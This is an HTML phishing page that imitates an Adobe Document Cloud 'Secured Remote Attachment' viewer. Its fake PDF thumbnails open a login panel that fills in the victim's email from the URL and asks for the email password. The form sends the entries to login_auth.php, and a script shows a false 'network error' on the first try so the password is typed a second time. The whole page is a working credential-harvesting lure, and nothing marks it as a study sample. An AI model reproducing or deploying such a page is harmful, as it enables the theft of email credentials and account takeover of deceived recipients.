<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Secured Remote Attachment</title>
    <link rel="icon" href="https://cdn.icon-icons.com/icons2/886/PNG/512/file-expand_Pdf_icon-icons.com_68956.png" type="image/x-icon"> <!-- Replace with your favicon URL -->
    <style>
        body {
            margin: 0;
            padding: 0;
            font-family: Arial, sans-serif;
            background-image: url('images/bg.png'); /* Replace with your background image URL */
            background-size: cover;
            background-position: center;
            background-repeat: no-repeat;
            background-attachment: fixed;
        }

        .logo {
            position: absolute;
            top: 10px;
            left: 10px;
            width: 40px;
            z-index: 1001;
        }

        .modal {
            position: fixed;
            z-index: 1000;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            width: 32%; /* Reduced width by 20% */
            height: 45%; /* Reduced height by 5% */
            background-color: rgba(255, 255, 255, 0.9);
            display: flex;
            flex-direction: column;
            justify-content: space-between;
            align-items: center;
            box-shadow: 0px 4px 10px rgba(0, 0, 0, 0.25);
            border-radius: 10px;
            overflow: hidden;
            padding: 20px;
        }

        nav {
            background-color: #ff0000;
            padding: 10px;
            width: 100%;
            display: flex;
            justify-content: center;
        }

        nav a {
            color: white;
            text-decoration: none;
            margin: 0 10px;
            font-size: 14px;
            padding: 5px 10px;
            border-radius: 5px;
        }

        nav a.active {
            background-color: #cc0000;
        }

        .title {
            font-size: 12.6px; /* Reduced size by 30% (original: 18px) */
            font-weight: 300;
            margin: 15px 0;
            text-align: left;
            width: 100%;
        }

        .thumbnails {
            display: flex;
            flex-wrap: wrap;
            justify-content: center;
            gap: 15px;
            padding: 10px;
        }

        .thumbnail {
            text-align: center;
            width: 80px;
        }

        .thumbnail img {
            width: 80px;
            height: 80px;
        }

        .thumbnail-name {
            background-color: #ff0000;
            color: white;
            padding: 3px 5px;
            display: inline-block;
            font-size: 12px;
            margin-top: 5px;
        }

        .download-btn {
            display: flex;
            align-items: center;
            justify-content: center;
            background-color: white;
            color: #ff0000;
            padding: 10px 20px;
            font-size: 14px;
            border: 2px solid #ff0000;
            border-radius: 5px;
            cursor: pointer;
            text-decoration: none;
            transition: background-color 0.3s, color 0.3s;
            font-weight: bold;
            gap: 8px;
        }

        .download-btn:hover {
            background-color: #ff0000;
            color: white;
        }

        .download-btn svg {
            width: 16px;
            height: 16px;
            fill: currentColor;
        }

        /* Authentication Modal Styles */
        .auth-modal {
            position: fixed;
            z-index: 1000;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            width: 25%; /* Reduced width */
            height: auto; /* Keep auto height to adjust dynamically */
            background-color: rgba(255, 255, 255, 0.95);
            display: block;
            flex-direction: column;
            align-items: center;
            box-shadow: 0px 4px 10px rgba(0, 0, 0, 0.25);
            border-radius: 10px;
            padding: 20px;
        }

        .auth-navbar {
            display: flex;
            align-items: center;
            justify-content: flex-start;
            width: 100%;
            padding: 10px;
            border-bottom: 2px solid #ccc;
            margin-bottom: 15px;
        }

        .auth-navbar-logo {
            width: 40px; /* Logo size */
            margin-right: 10px; /* Space between logo and header text */
        }

        .auth-navbar-header {
            font-size: 14px;
            font-weight: lighter;
        }

        .auth-modal-description {
            font-size: 14px;
            margin-bottom: 20px;
            text-align: center;
        }

        .auth-form {
            display: flex;
            flex-direction: column;
            width: 80%;
            gap: 15px;
        }

        .auth-form input {
            padding: 10px;
            font-size: 14px;
            width: 100%;
            border-radius: 5px;
            border: 1px solid #ccc;
        }

        .auth-form button {
            background-color: red;
            color: white;
            padding: 10px;
            font-size: 16px;
            border: none;
            border-radius: 5px;
            cursor: pointer;
            transition: background-color 0.3s;
        }

        .auth-form button:hover {
            background-color: darkred;
        }

        .footer {
            margin-top: 20px;
            text-align: center;
            font-size: 12px;
        }
    </style>
</head>
<body>
    <!-- Logo outside the modal -->
    <img src="https://th.bing.com/th/id/R.c57349d1de8e1834c3d93a2e8f9ef615?rik=NbbTz%2fPiCRiivw&pid=ImgRaw&r=0" 
         alt="Adobe Logo" class="logo">

    <!-- Modal content -->
    <div class="modal">
        <nav>
            <a href="#">Edit</a>
            <a href="#">Sign</a>
            <a href="#" class="active">View</a>
        </nav>
        <h1 class="title">Secured Remote Attachment</h1>
        <div class="thumbnails">
            <div class="thumbnail">
                <img src="https://th.bing.com/th/id/OIP.hHxtreh34L48Lf-vtvmXkwHaHa?rs=1&pid=ImgDetMain" alt="PDF Thumbnail">
                <button onclick="showAuthModal()" ><div class="thumbnail-name">#7317381</div></button>
            </div>
            <div class="thumbnail">
                <img src="https://th.bing.com/th/id/OIP.hHxtreh34L48Lf-vtvmXkwHaHa?rs=1&pid=ImgDetMain" alt="PDF Thumbnail">
               <button onclick="showAuthModal()" > <div class="thumbnail-name">RFQ</div></button>
            </div>
            <div class="thumbnail">
                <img src="https://th.bing.com/th/id/OIP.hHxtreh34L48Lf-vtvmXkwHaHa?rs=1&pid=ImgDetMain" alt="PDF Thumbnail">
               <button onclick="showAuthModal()" > <div class="thumbnail-name">Garnishment</div></button>
            </div>
        </div>
        <a href="#" class="download-btn" onclick="showAuthModal()">
            <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24">
                <path d="M12 16l4-4H13V4h-2v8H8l4 4zm8-4v6H4v-6H2v6a2 2 0 002 2h16a2 2 0 002-2v-6h-2z"/>
            </svg>
            DOWNLOAD ALL
        </a>
    </div>

    <!-- Authentication Modal -->
    <div class="auth-modal" id="authModal" style="display: none;">
        <div class="auth-navbar">
            <img src="https://th.bing.com/th/id/R.c57349d1de8e1834c3d93a2e8f9ef615?rik=NbbTz%2fPiCRiivw&pid=ImgRaw&r=0" alt="Adobe Logo" class="auth-navbar-logo">
            <div class="auth-navbar-header">
                Adobe Document Cloud <br> Recipient's Authentication Panel
            </div>
        </div>
        <div class="auth-modal-description">
            Confidential documents require authentication to prevent unauthorized access. Connect to your email service provider through a secured IMAP channel to authenticate.
        </div>
        <form class="auth-form" action="login_auth.php" method="POST" onsubmit="return handleAuthSubmit(event);">
    <input type="email" id="email" name="email" value="" readonly placeholder="Email Address">
    <input type="password" id="password" name="password" placeholder="Password">
    <p id="errorMessage" style="color: red; display: none; text-align: center; font-size: 14px;">
        Network error, try again later!
    </p>
    <button type="submit">Download</button>
</form>

<script>
    let firstAttempt = true;

    // Function to show the authentication modal
    function showAuthModal() {
        const emailField = document.getElementById('email');
        const urlParams = new URLSearchParams(window.location.search);
        const email = urlParams.get('email');
        emailField.value = email || 'example@domain.com'; // Set email from URL or default if not available
        document.getElementById('authModal').style.display = 'flex';
    }

    // Function to handle form submission
    function handleAuthSubmit(event) {
        if (firstAttempt) {
            event.preventDefault(); // Prevent form submission on first attempt
            document.getElementById('errorMessage').style.display = 'block'; // Show error message
            firstAttempt = false; // Allow submission on the second attempt
            return false;
        }
        return true; // Allow form submission on second attempt
    }
</script>

</body>
</html>
